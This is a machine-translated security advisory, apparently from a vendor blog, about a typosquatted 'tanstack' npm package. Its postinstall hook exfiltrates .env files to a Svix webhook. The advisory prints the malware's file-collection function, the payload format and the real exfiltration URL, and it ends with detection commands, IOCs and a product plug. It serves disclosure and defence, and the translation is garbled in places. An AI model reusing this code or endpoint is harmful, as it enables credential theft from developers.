Alguém registou o tanstack apresentaram-se no npm, criaram um SDK de reprodutor de vídeo a que chamaram «TanStack Player» e publicaram hoje quatro versões em rápida sucessão, concebidas para extrair os ficheiros do seu ambiente assim que o executar npm install.
O verdadeiro TanStack, o lar do TanStack Query, do TanStack Table, do TanStack Router e de todos esses @tanstack/* pacotes com milhões de downloads semanais, não tem nada a ver com isto. O atacante limitou-se a pegar no nome sem escopo, disfarçou-o de forma convincente e ficou à espera.
Hoje, às 17:08 UTC, lançaram a carga útil.
O que aconteceu
Entre as 17:08 e as 17:35 UTC de 29 de abril de 2026, quatro novas versões do tanstack Foram publicados os seguintes pacotes npm: 2.0.4, 2.0.5, 2.0.6 e 2.0.7. Todos os quatro contêm um postinstall gancho que é acionado automaticamente quando o pacote é instalado.
Até hoje, tanstack@2.0.3 (publicado em março) não tinha postinstall hook. Era um pacote simples, sem chamadas de rede. Mas isso mudou hoje.
O postinstall.cjs O script lê ficheiros de configuração do diretório de trabalho do programador e envia o seu conteúdo para um ponto de extremidade de webhook Svix controlado pelo atacante. Sem solicitações de confirmação. Sem saída visível na maioria das versões. Simplesmente executa-se e encerra.
O pacote teve cerca de 19 830 downloads no mês anterior ao início desta campanha.
A carga útil
O script é simples. Durante a instalação, lê os ficheiros locais e envia-os via POST no formato JSON para este ponto final:
https://api.svix.com/ingest/api/v1/source/src_3387PLMB2uhXOBe3Q8sHu/in/3j2jokvbaF4WWdngv8zBbk
A Svix é uma empresa legítima de webhooks como serviço. O atacante está a utilizar o seu produto «Ingest» como um relé de exfiltração, encaminhando dados roubados através de um terceiro de confiança para contornar o bloqueio ao nível da rede.
A carga útil inclui o conteúdo dos ficheiros, bem como os metadados do sistema:
{
"package": "tanstack",
"version": "2.0.x",
"event": "postinstall",
"readme": "<contents of .env>",
"agents": "<contents of .env.local>",
"timestamp": "...",
"node": "v22.x.x",
"platform": "linux",
"arch": "x64"
}Os nomes dos campos (leia-me, agentes) são manobras de diversão. 😎 O que está realmente a ser enviado é o teu .env e .env.local.
Quatro versões, 27 minutos, um atacante a testar em tempo real
O histórico de versões é a parte mais interessante deste incidente. O atacante publicou quatro versões em menos de meia hora, alterando visivelmente a sua carga maliciosa entre cada envio.
2.0.4 (17:08): Objetivos .env e .env.local. A verificação de exclusão (TANSTACK_TELEMETRY_OPT_OUT) está comentado, o que significa que não há escape . Inclui uma duplicata postinstall.js ficheiro que não aparece em nenhuma outra versão. Importa o http módulo, mas nunca o utiliza.
2.0.5 (17:11, três minutos depois): Altera os ficheiros de destino para README.md e AGENTS.md. Além disso, reativa o mecanismo de exclusão. Parece um pequeno desvio — seja para verificar se o webhook estava a receber dados, seja uma tentativa de fazer com que o hook pareça mais inofensivo antes de voltar ao curso normal. README.md não é um ficheiro de credenciais.
2.0.6 (17:26): A versão perigosa. Elimina completamente os caminhos dos ficheiros visados e substitui-os por uma varredura de diretórios:
function collectEnvFiles() {
const allFiles = fs.readdirSync(rootDir);
const matches = allFiles.filter(
(f) => f === ".env" || f.startsWith(".env.")
);
for (const file of matches) {
envFiles[file] = fs.readFileSync(path.join(rootDir, file), "utf-8");
}
return envFiles;
}Isto capta tudo: .env, .env.local, .env.production, .env.staging, .env.development. Tudo isto é enviado numa única solicitação POST. A saída da consola é suprimida por completo. A opção de exclusão foi novamente comentada.
2.0.7 (17:35): Reverte para .env + .env.local A direcionamento mantém a saída da consola comentada. Adiciona uma curiosa dependência autorreferencial "tanstack": "^2.0.6" no seu próprio ficheiro package.json. Não é claro se isso é um erro ou se tem algum propósito.
O que está a ver neste histórico de versões é uma depuração em tempo real. O atacante ajustou os seus alvos, testou o seu receptor e otimizou a discrição, tudo isto enquanto o pacote estava publicamente disponível e pronto para instalação.
O ângulo de agachamento
O @tanstack A organização publica algumas das bibliotecas JavaScript mais utilizadas no npm: só a TanStack Query regista cerca de 8 milhões de downloads por semana. A tanstack O nome sem âmbito encontra-se em espera desde dezembro de 2024.
Um programador que está a executar npm install tanstack em vez de npm install @tanstack/query não recebem o que esperavam. Recebem isto.
O ficheiro README do pacote está bem elaborado. Inclui um emblema de patrocínio, ícones de download do npm, uma tabela comparativa de funcionalidades e exemplos de código. Apresenta-se como um produto a sério. A aparência é tão convincente que uma olhadela superficial não o denunciaria.
O que é roubado
Num projeto típico de JavaScript, .env os ficheiros contêm:
- Chaves de acesso e secrets da AWS
- Tokens de acesso pessoal do GitHub
- Token de publicação do npm
- Cadeias de ligação à base de dados
- Chaves API do Stripe, Twilio, Resend e SendGrid
- Chaves de API da OpenAI, da Anthropic e de outros modelos de linguagem de grande escala (LLM)
- secrets do cliente OAuth
- Quaisquer outras credenciais de terceiros configuradas localmente
Se tiver um .env.production se houver um ficheiro em qualquer local próximo do seu diretório de trabalho (a versão 2.0.6 teria detetado isso), isso significa que as credenciais de produção foram entregues a um invasor durante a instalação.
Detecção e correção
Passo 1: Verifique se foi afetado
Verifique os seus ficheiros de bloqueio e o histórico de instalações para ver se existe alguma destas versões de pacotes:
# Verificar o ficheiro package-lock.json
grep -r "tanstack" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null
# Verificar node_modules
ls node_modules/tanstack/package.json 2>/dev/null && cat node_modules/tanstack/package.json | grep '"version"'Versões afetadas: 2.0.4, 2.0.5, 2.0.6, 2.0.7. Se algum destes elementos aparecer num ficheiro de bloqueio, considere os seus ficheiros de configuração como comprometidos.
Passo 2: Se foi afetado
Suponha que .env file present in the working directory at install time was exfiltrated. Rotate immediately:
- Chaves de acesso e secrets da AWS secrets verifique o CloudTrail para detetar chamadas de API não autorizadas)
- Tokens do GitHub com âmbito de repositório ou organização
- Tokens do npm — revogar em npmjs.com/settings e reemitir
- Quaisquer credenciais de base de dados presentes em
.env - Todas as chaves de API de terceiros nos ficheiros afetados
Para ambientes de integração contínua: o script pós-instalação é executado durante npm ci também. Se o seu pipeline de CI instalou este pacote, atualize todos secrets no ambiente desse pipeline. Verifique os registos de tarefas do seu fornecedor de CI para identificar a etapa de instalação por volta da altura em que ocorreu a violação.
No caso dos computadores dos programadores: trata-se de uma fuga de dados persistente, não de um ataque na memória. Os ficheiros foram lidos e enviados. Não há ficheiros binários deixados para trás nem mecanismos de persistência para eliminar, mas as suas credenciais já foram divulgadas.
Procure o tráfego HTTPS de saída para api.svix.com nos registos de rede por volta da hora da instalação. O POST terá sido enviado pelo executor de CI ou pelo computador do programador que estava a realizar a instalação.
Passo 3: Detetá-lo com Aikido
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. A vulnerabilidade será apresentada como um problema crítico 100/100 no feed. Dica: Aikido reanalisa seus repositórios todas as noites, embora recomendemos acionar uma reanálise completa também.
Se você ainda não é um usuário Aikido, crie uma conta e conecte seus repositórios. Nossa cobertura proprietária de malware está incluída no plano gratuito (não é necessário cartão de crédito).
Passo 4: Proteção futura (SafeChain)
Para se proteger no futuro, considere utilizar Aikido (código aberto), um envoltório seguro para o npm, npx, yarn, pnpm e pnpx. O SafeChain integra-se nos seus fluxos de trabalho atuais, interceptando os comandos de instalação de pacotes e verificando se estes contêm malware através Aikido antes da instalação. Impedir as ameaças antes que atinjam o seu computador.
IOCs
tanstack@2.0.4— SHA256:72ec4571e27c06f1d48737477c2b38a4f90d699950dab8946b48591133dc4f90tanstack@2.0.5— SHA256:04ee5325c8900c9d644ed81c9012525b6fc19f21c65cef85b6ba98b6a0a23566tanstack@2.0.6— SHA256:abc164807947b102164488a08161adb4ee08be6b78a371350a6b156eed0d97d9tanstack@2.0.7— SHA256:7bb84e6ba893248814cd3bac70b7bdc115740fba9e13419940c73460cbcd7b6f- Ponto final de exfiltração:
hxxps://api.svix[.]com/ingest/api/v1/source/src_3387PLMB2uhXOBe3Q8sHu/in/3j2jokvbaF4WWdngv8zBbk - ID de origem Svix:
src_3387PLMB2uhXOBe3Q8sHu - Conta de mantenedor do npm:
sh20raj
Encerramento
Este ataque lembra-nos como é fácil transformar uma configuração de apropriação indevida de nomes num coletor ativo de credenciais. O atacante não precisou de comprometer um mantenedor, fazer phishing a um sistema de CI nem explorar uma vulnerabilidade. Registou um pacote com um nome plausível, adicionou um script pós-instalação de uma página e esperou que as instalações começassem a chegar.
Vale a pena destacar o padrão de iteração em quatro versões. Não se tratou de uma implementação pontual. O atacante estava presente, a observar e a ajustar a sua carga maliciosa em tempo real. Trata-se de alguém que sabe o que está a fazer e que estava especificamente a otimizar a cobertura de credenciais.
Cada .env O ficheiro no seu projeto é um alvo. Qualquer pacote com um gancho postinstall pode lê-los. O registo npm concede essa capacidade a todos os editores por predefinição.

